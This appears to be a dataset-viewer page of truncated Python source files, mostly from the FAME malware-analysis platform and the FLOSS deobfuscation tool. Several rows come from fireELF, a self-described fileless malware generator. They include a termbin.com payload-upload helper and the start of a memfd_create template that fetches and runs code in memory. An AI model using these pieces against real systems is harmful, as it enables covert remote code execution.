text stringlengths 0 9.3M |
|---|
import logging
from django.shortcuts import redirect
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger()
try: # django 1.10+
from django.utils.deprecation import MiddlewareMixin
except ImportError:
class MiddlewareMixin:
def __init__(self, get_response=None):
pass
# Y... |
from lib.cuckoo.core.database import Database
class DBTransactionMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
db = Database()
with db.session.begin():
resp = self.get_response(request)
db.session.remove... |
from allauth.account.middleware import AccountMiddleware
class DisableAllauthMiddleware:
def __init__(self, get_response):
self.get_response = get_response
# Instantiate the real AllAuth middleware that we will be wrapping.
self.allauth_middleware = AccountMiddleware(get_response)
def... |
from .custom_auth import CustomAuth # noqa
from .db_transaction import DBTransactionMiddleware # noqa
from .disable_auth_in_local import DisableAllauthMiddleware # noqa
|
from urllib.parse import quote_plus
from kombu.serialization import register
from bson.json_util import dumps, loads
from celery import signals
from fame.common.config import fame_config
from fame.core import fame_init
register('json_util', dumps, loads, content_type='application/json', content_encoding='utf-8')
MON... |
#!/usr/bin/env python3
import os
import jinja2
from json import dumps
from datetime import datetime
from flask import Flask, redirect, request, url_for
from flask_login import LoginManager
from werkzeug.urls import urlencode
from importlib import import_module
from urllib.parse import urljoin
from fame.core import fa... |
import os
import sys
import signal
import argparse
import requests
from urllib.parse import urljoin
from socket import gethostname
from io import BytesIO
from zipfile import ZipFile
from shutil import move, rmtree
from uuid import uuid4
from time import time, sleep
from subprocess import Popen, check_output, STDOUT, Ca... |
import os
import sys
import inspect
import importlib
import traceback
import collections.abc
from uuid import uuid4
from tempfile import mkstemp
from shutil import copyfileobj
from multiprocessing import Queue, Process
from flask import Flask, jsonify, request, abort, make_response
AGENT_ROOT = os.path.normpath(os.pa... |
# -*- coding: utf-8 -*-
#
# FAME documentation build configuration file, created by
# sphinx-quickstart on Fri Jan 15 11:19:05 2016.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All ... |
from fame.core.config import Config
from fame.core.file import File
from fame.core.analysis import Analysis
from fame.core.user import User
from fame.core.module import ModuleInfo
from datetime import datetime, timedelta
def ignore_file(f, config):
if 'type' in f and f["type"] in config.types_to_exclude:
... |
import os
import configparser
from io import StringIO
from fame.common.constants import FAME_ROOT
from fame.common.objects import Dictionary
class ConfigObject:
def __init__(self, filename=None, from_string=''):
config = configparser.ConfigParser({'root': FAME_ROOT}, allow_no_value=True)
if fil... |
import os
FAME_ROOT = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", ".."))
MODULES_ROOT = os.path.join(FAME_ROOT, "fame", "modules")
AVATARS_ROOT = os.path.join(FAME_ROOT, "web", "static", "img", "avatars")
VENDOR_ROOT = os.path.join(FAME_ROOT, "vendor")
|
import os
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from jinja2 import Environment, FileSystemLoader
from fame.core.config import Config
from fame.common.exceptions import MissingConfiguration
NAMED_CONFIG = ... |
class ModuleInitializationError(Exception):
def __init__(self, module, description):
self._module = module.name
self._description = description
def __str__(self):
return "%s: %s" % (self._module, self._description)
class ModuleExecutionError(Exception):
def __init__(self, descript... |
import collections.abc
import json
from fame.common.utils import iterify
from fame.core.store import store
class MongoDict(dict):
# Should be defined for children classes
# ex: collection_name = 'files'
collection_name = None
def __init__(self, values={}):
dict.__init__(self, values)
... |
# Taken from Cuckoo Sandbox
class Dictionary(dict):
def __getattr__(self, key):
return self.get(key, None)
__setattr__ = dict.__setitem__
__delattr__ = dict.__delitem__
|
import sys
import subprocess
def pip_install(*args):
try:
subprocess.check_output(
[sys.executable, '-m', 'pip', 'install'] + list(args),
stderr=subprocess.STDOUT)
return 0, ""
except subprocess.CalledProcessError as e:
return e.returncode, e.output
|
import os
import requests
import collections.abc
from time import sleep
from uuid import uuid4
from urllib.parse import urljoin
from datetime import datetime
from shutil import copyfileobj
from werkzeug.utils import secure_filename
from fame.common.config import fame_config
def is_iterable(element):
return isins... |
import os
import requests
import datetime
import traceback
import portalocker
from shutil import copy
from hashlib import md5
from urllib.parse import urljoin
from bson.json_util import loads as bson_loads
from json import dumps
from fame.common.config import fame_config
from fame.common.utils import iterify, u, send_... |
from celery import Celery
celery = Celery('fame.core.celeryctl')
celery.config_from_object('celeryconfig')
|
from copy import copy
from fame.common.objects import Dictionary
from fame.common.exceptions import MissingConfiguration
from fame.common.mongo_dict import MongoDict
def config_to_dict(config):
result = {setting['name']: setting for setting in config}
return result
# We will keep configured values, on... |
from bson import ObjectId
import hashlib
import os
import magic
import datetime
from fame.core.store import store
from fame.common.config import ConfigObject, fame_config
from fame.common.utils import sanitize_filename, delete_from_disk
from fame.common.mongo_dict import MongoDict
from fame.core.module_dispatcher impo... |
from fame.common.mongo_dict import MongoDict
class Internals(MongoDict):
collection_name = 'internals'
|
import os
import inspect
import requests
import traceback
from time import sleep
from urllib.parse import urljoin
from markdown2 import markdown
from datetime import datetime, timedelta
from fame.common.constants import MODULES_ROOT
from fame.common.exceptions import ModuleInitializationError, ModuleExecutionError, Mi... |
import fnmatch
import inspect
import pkgutil
import importlib
import traceback
from os import path, walk, remove
from collections import OrderedDict
from fame.common.utils import get_class, iterify, unique_for_key
from fame.core.config import Config, incomplete_config
from fame.core.module import Module, ModuleInfo
... |
import os
import traceback
from time import time
from shutil import rmtree
from git import Repo
from fame.common.mongo_dict import MongoDict
from fame.common.constants import FAME_ROOT
from fame.core.celeryctl import celery
from fame.core.module import ModuleInfo
from fame.core.internals import Internals
from fame.cor... |
from pymongo import TEXT, MongoClient
from fame.common.config import fame_config
class Store:
def __init__(self):
self.init()
def init(self):
# Connection
if fame_config.mongo_user and fame_config.mongo_password:
self._con = MongoClient(host=fame_config.mongo_host,
... |
import os
import requests
from base64 import b64encode
from fame.core.store import store
from fame.common.utils import delete_from_disk
from fame.common.constants import AVATARS_ROOT
from fame.common.mongo_dict import MongoDict
class FilteredCollection():
def __init__(self, collection, filters):
self.col... |
from fame.core.store import store
from fame.core.module_dispatcher import dispatcher
def fame_init():
store.connect()
dispatcher.reload()
|
#! /usr/bin/env python
import os
import sys
sys.path.append(os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")))
from fame.core import fame_init
from web.auth.user_password.user_management import create_user as do_create_user
from utils import user_input, get_new_password
def create_us... |
import os
import sys
from time import time
sys.path.append(os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")))
from fame.core import fame_init
from fame.core.config import Config
from fame.core.internals import Internals
def create_types():
types = Config.get(name='types')
if t... |
import os
import sys
import errno
from urllib.parse import urljoin
from subprocess import run, PIPE
sys.path.append(os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")))
from utils import user_input, error, get_new_password
from fame.common.constants import FAME_ROOT
class Templates:
... |
import os
import sys
import readline
import code
sys.path.append(os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")))
from fame.core import fame_init
fame_init()
shell = code.InteractiveConsole()
shell.interact()
|
#! /usr/bin/env python
import os
import sys
import pkgutil
import inspect
import importlib
import datetime
import argparse
sys.path.append(os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")))
from utils import error, user_input
from fame.core import fame_init
from fame.core import module... |
import os
import sys
import platform
from urllib.parse import quote_plus
from pymongo import MongoClient
from pymongo.collection import Collection
try:
from importlib.metadata import distribution
except ImportError:
from importlib_metadata import distribution
sys.path.append(os.path.normpath(os.path.join(os.p... |
#!/usr/bin/env python3
import os
import sys
from git import Repo
sys.path.append(os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")))
from fame.common.constants import FAME_ROOT
from fame.common.pip import pip_install
from utils import error
def update_repository():
print("[+] Upd... |
import sys
import getpass
import re
def error(msg, code=1, exit=True):
print(("\n/!\\ {}".format(msg)))
if exit:
sys.exit(code)
def user_input(prompt, default=None, choices=[], email=False):
prompt = "[?] {}".format(prompt)
if default:
prompt += " [{}]: ".format(default)
else:
... |
import os
import ldap3
import json
from flask_login import login_user
from datetime import datetime
from ldap3.utils.conv import escape_filter_chars
from fame.core.user import User
from fame.common.config import fame_config
from web.auth.ad.config import ROLE_MAPPING
from web.views.helpers import user_if_enabled
cla... |
import ldap3
from flask import Blueprint, render_template, request, redirect, flash
from flask_login import logout_user
from fame.common.config import fame_config
from urllib.parse import urljoin
from web.views.helpers import prevent_csrf, user_has_groups_and_sharing, get_fame_url
from web.auth.ad.user_management impo... |
try:
from .custom_mappings import *
except ImportError:
pass
|
import os
import requests
import json
from flask_login import login_user
from datetime import datetime
from josepy.jwk import JWK
from josepy.jws import JWS
from jsonpath_ng import jsonpath
from jsonpath_ng.ext import parse
from jsonpath_ng.exceptions import JSONPathError
from fame.core.user import User
from web.views... |
import urllib.parse
import os
import uuid
import requests
from importlib import import_module
from flask import Blueprint, request, redirect, session, render_template
from flask_login import logout_user
from fame.core.user import User
from web.views.helpers import (
prevent_csrf,
before_first_request,
user... |
try:
from .custom_mappings import *
except ModuleNotFoundError:
from fame.common.exceptions import MissingConfiguration
raise MissingConfiguration(
"Missing OpenID Connect mapping file. Please check if file web/auth/oidc/config/custom_mappings.py exists."
)
|
from flask_login import login_user
from datetime import datetime
from fame.core.user import User
from web.views.helpers import user_if_enabled
from .config import ROLE_MAPPING, ROLE_KEY
def authenticate(session):
saml_user_data = session['samlUserdata']
saml_name_id = session['samlNameId']
user = get_or_... |
from urllib.parse import urlparse
import os
from flask import Blueprint, request, redirect, session
from flask_login import logout_user
from onelogin.saml2.auth import OneLogin_Saml2_Auth
from onelogin.saml2.utils import OneLogin_Saml2_Utils
from web.views.helpers import prevent_csrf
from web.auth.saml.user_managemen... |
from .custom_mappings import *
|
from flask_login import login_user
from flask import Blueprint, request, redirect
from fame.common.config import fame_config
from urllib.parse import urljoin
from fame.core.user import User
from web.views.helpers import prevent_csrf, get_fame_url
auth = Blueprint('auth', __name__, template_folder='templates')
def ... |
import os
from itsdangerous import TimestampSigner
from flask_login import login_user
from werkzeug.security import check_password_hash, generate_password_hash
from datetime import datetime
from fame.core.user import User
from fame.common.config import fame_config
from web.views.helpers import user_if_enabled
def au... |
import os
from urllib.parse import urljoin
from zxcvbn import zxcvbn
from flask import Blueprint, render_template, request, redirect, flash, url_for
from flask_login import logout_user, current_user, login_required
from itsdangerous import BadTimeSignature, SignatureExpired
from werkzeug.security import check_password_... |
import os
import ipaddress
from io import BytesIO
from shutil import copyfileobj
from hashlib import md5
from pymongo import DESCENDING
from flask import (
render_template, url_for, request, flash,
make_response, abort, jsonify
)
from flask_login import current_user
from flask_classful import FlaskView, route
f... |
from bson import ObjectId
from difflib import ndiff
from flask import request, abort
from flask_login import current_user
from flask_classful import FlaskView
from fame.core.store import store
from web.views.negotiation import render
from web.views.mixins import UIView
ACTION_NEW = 'new'
ACTION_UPDATE = 'update'
ACT... |
PER_PAGE = 25
|
from pymongo import DESCENDING
from flask import make_response, request, flash, redirect, abort
from flask_classful import FlaskView, route
from flask_paginate import Pagination
from flask_login import current_user
from werkzeug.utils import secure_filename
from fame.core.store import store
from fame.core.file import ... |
import urllib.parse
from bson import ObjectId
from flask import make_response, abort, request
from flask_login import current_user
from werkzeug.exceptions import Forbidden
from functools import wraps
from os.path import basename, isfile
from datetime import timedelta, datetime
from fame.core.store import store
from f... |
from pymongo import DESCENDING
from flask import current_app, g
from flask_login import current_user
from fame.core.store import store
from web.views.helpers import csrf_protect
class AuthenticatedView(object):
def before_request(self, *args, **kwargs):
if not current_user.is_authenticated:
r... |
import os
from time import time
from zipfile import ZipFile
from flask import url_for, request, flash
from flask_classful import FlaskView, route
from web.views.negotiation import render, redirect, validation_error, render_json
from web.views.mixins import UIView
from web.views.helpers import (
get_or_404,
req... |
from flask import redirect as flask_redirect
from flask import request, get_flashed_messages, render_template
from flask.wrappers import Response
from bson.json_util import dumps
def should_render_as_html():
best_accept = request.accept_mimetypes.best_match(["text/html", "application/json"])
api_key = bool(re... |
from flask import request
from flask_login import current_user
from flask_classful import FlaskView
from fame.core.store import store
from web.views.mixins import UIView
from web.views.helpers import clean_files, clean_analyses, clean_users
from web.views.negotiation import render
class SearchView(FlaskView, UIView)... |
from importlib import import_module
from flask import request, flash, url_for, abort
from flask_login import current_user
from flask_classful import FlaskView, route
from datetime import datetime
from fame.common.config import fame_config
from fame.core.user import User
from fame.core.module_dispatcher import dispatch... |
#!/usr/bin/env python3
import argparse
import sys
from lib.settings import *
from lib.generator import *
from lib.misc import *
class main(object):
def parse_args(self, args):
parser = argparse.ArgumentParser(description='fireELF, Linux Fileless Malware Generator')
parser.add_argument('-s', acti... |
import glob
import importlib
import sys
from lib.misc import print_info
def load_payload(path):
try:
return importlib.import_module(path)
except Exception as e:
return False
def gather_payloads(payload_dir):
payload_to_name = {}
for filepath in glob.iglob("{}*.py".format(payload_dir... |
import datetime
import socket
import re
from lib.settings import *
def miniaturize_payload(payload):
return payload.replace("\n", ";")
def paste_site_upload(payload):
paste_site = "termbin.com"
try:
s0 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s0.connect((paste_site, 9999))
... |
import colorama
colorama.init(autoreset=True)
VERSION = 1.0
PAYLOAD_DIR = "payloads/"
RED = colorama.Fore.RED
YELLOW = colorama.Fore.YELLOW
GREEN = colorama.Fore.GREEN
BLUE = colorama.Fore.BLUE
WHITE = colorama.Fore.WHITE
def banner():
# http://patorjk.com/software/taag/#p=display&f=Graffiti&t=fireELF
pr... |
import base64
desc = {"name" : "memfd_create", "description" : "Payload using memfd_create", "archs" : "all", "python_vers" : ">2.5"}
def main(is_url, url_or_payload):
payload = '''import ctypes, os, urllib2, base64
libc = ctypes.CDLL(None)
argv = ctypes.pointer((ctypes.c_char_p * 0)(*[]))
syscall = libc.syscal... |
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
#!/usr/bin/env python
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... |
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
import sys
from floss.main import main
sys.exit(main())
|
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
import re
import array
import struct
import hashlib
from typing import List, Tuple, Iterable, Optional
from dataclasses import dataclass
import pefile
import tabulate
from typing_extensions import TypeAlias
import floss.utils
from floss.results import StaticString, StringEncoding
from floss.render.sanitize import san... |
# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.